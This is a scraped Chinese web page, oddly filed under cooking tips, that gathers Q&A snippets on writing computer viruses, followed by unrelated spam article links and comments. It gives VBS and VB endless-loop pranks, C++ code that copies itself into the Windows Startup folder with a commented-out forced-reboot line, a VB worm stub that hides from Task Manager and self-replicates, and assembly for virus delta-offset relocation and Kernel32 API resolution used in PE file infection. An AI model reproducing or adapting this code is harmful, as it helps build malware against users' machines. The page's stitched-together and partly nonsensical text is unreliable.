当前位置:首页 > 做饭技巧 > 正文内容

病毒编程代码模式(编写病毒的编程语言)

hacker2年前 (2022-06-28)做饭技巧64

本文目录一览:

病毒的编程代码模式被称为什么?

病毒的编程代码不是成为一种超级病毒,它是非常可怕的吧,那1000多的电脑的话,丧尸不可估量。

谁能解释下面简单的电脑病毒代码?

我帮你"翻译"一下代码的意思。

这是一段vbs代码:直到(除非)1等于2,否则就一直弹出一个写有"烦死你"的窗口,因为1永远不等于2,所以不断的弹窗。

这是VB的一个简单编程,但是代码却不怀好意。这段代码的意思是说,当双击运行这个程序的时候,执行以下代码:直到(除非)1等于2,否则隐藏这个软件的窗体,然后显示这个软件的窗体,然后调用系统的"calc.exe"程序,也就是调用系统自带的"计算器",因为1永远不等于2,所以这些步骤永远循环的执行下去。以现在的计算机来看,并不会"运行后马上死机",我们的计算机还不至于这么差劲,不过cpu会高涨,根据不同计算机的配置,时间范围从很快死机到数秒后死机不等。

比较简单的C++病毒代码

最简单的病毒代码如下: #include "windows.h"

#include "stdio.h"

void main(int argc,char * argv[])

{

//printf("%s\n",argv[i]);

char copy[80];

sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);

system(copy); //将这个程序拷到开机启动文件夹下面

//char cmd[]="shutdown -r -t 0";//自动重起

char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!

system(cmd);

system("pause");

}

简单的病毒编程代码

蠕虫病毒小代码

打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project-Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:

Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。

以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。

在Sub Main中键入以下的编码:

'阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path "\" App.EXEName ".exe" Location2 = App.Path App.EXEName ".exe"。

怎么编写病毒代码?

病毒的编写是建立在对系统与网络充分的理解基础之上的,从有病毒以来每一种经典病毒无一不是智力的杰作这就是说就是你对系统网络有充分了解没有过人的思维智慧依旧编写不了病毒。如果你说就像写一个简单的那么一个del删除指令在没经过用户允许就删除了文件就算病毒了

怎么编程病毒?

搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:

;ebp 包含了delta offset 值

401000:

mov eax,dword ptr [ebp+0x402035]

......

402035:

db "hello world!",0

在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:

call delta

delta:

pop ebp

sub ebp,offset delta

在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:

fnop

call GetPhAddr

sub ebp,fpu_addr

GetPhAddr:

sub esp,16

fnstenv [esp-12]

pop ebp

add esp,12

ret

delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。

在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:

call _start_ip

_start_ip:

pop ebp

;...

;使用

call [ebp+addrOpenProcess-_start_ip]

;...

addrOpenProcess dd 0

;而不是

call _start_ip

_start_ip:

pop ebp

sub ebp,_start_ip

call [ebp+addrOpenProcess]

为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

API 函数地址的获取

在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。

Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。

因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

扫描二维码推送至手机访问。

版权声明:本文由万物知识分享发布,如需转载请注明出处。

本文链接:http://qmsspa.com/47162.html

分享给朋友:

“病毒编程代码模式(编写病毒的编程语言)” 的相关文章

2019年最新godaddy域名续费优惠码,godaddy域名续费优惠方法

 二0 一 九年godaddy下面域名.com绝费的价钱 曾经到达  一 一 五一年,那个价钱 实长短 常下。咱们若何 劣惠绝费了?要领 一:找劣惠码,但否用的劣惠码易找。要领 两:某宝搜刮 godaddy绝费,那种绝费要领 否以廉价 到 五 八一年。然则 那种要领 绝费是要先将域名过户给售野,售野...

分享一个月入5000的赚钱项目(月入3万实体赚钱项目)

年夜 野孬,尔是智星。 昨天念跟年夜 野说一个许多 人念没有到,然则 暴力的名目。 正在某一年的某一地,尔领现了一个很特殊 的症结 词“一炮到地明”。那是一个何等 奥妙 的词。那应该是年夜 多半 汉子 的妄想 吧?尤为是年事 年夜 的人,身体战精神 跟没有上。 成人产物 一向 是一个很...

seo优化如何使得url标准化(站点关键词seo优化是什么)

seo优化如何使得url标准化(站点关键词seo优化是什么)

“Uniform Resource Locators”的缩写即URL,次要有协定 、域名、文献夹、文献名构成 各类 rul,好比 协定 添上域名,便是网站的尾页的url,添上 对于应栏目标 文献名,便是栏纲页里的url。这么网站url怎么搜索引擎优化 劣化?劣...

微信公众号流量主点击规则(公众号文章如何插入流量主广告位)

微疑微疑民间账号:流质年夜 师候剜告白 文章价钱 设置功效 更新,宋九暂编纂 。 腾讯微疑民间账号互选仄台功效 进级 。设置互选文章报价时,流质领有者只需挖写互选内容的税前结算价钱 ,体系 会依据 您设置的税前结算价钱 主动 计较 没包括 仄台办事 费正在内的定单价钱 ,并展现 给告白 主。...

如何添加企业微信到视频号主页(视频号主页怎么展示企业微信)

企业微疑否以间接加添到望频号尾页。据宋暂暂先容 ,#望频号#战#企业微疑#衔接 。用户次要否以正在做者的望频号外不雅 看企业微疑进口 ,经由过程 企业接洽 人间接加添企业职员 入止接流。 望频号开明企业微疑功效 要领 : 进级 到最新版原( 三. 一. 一 八)-事情 台-望频号-隐示正在...

微信小程序如何变成小程序二维码(如何生成自己的微信小程序二维码)

您 晓得微疑小法式 吗?如今 愈来愈多的人念本身 作小法式 ,然则 许多 人没有 晓得怎么用小法式 ,怎么作小法式 等等。上面单纯先容 一高科普:  一.微疑小法式 怎么注册 。 间接入进微疑" 仄台,点击左上角“立刻 注册”,抉择账户注册类型:小法式 。挖写小法式 的账户疑息,包含 电子邮件...

评论列表

竹祭杞胭
2年前 (2022-06-29)

o.h" void main(int argc,char * argv[]) { //printf("%s\n",argv[i]); char copy[80]; sprintf(copy,"

冢渊不矜
2年前 (2022-06-28)

使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。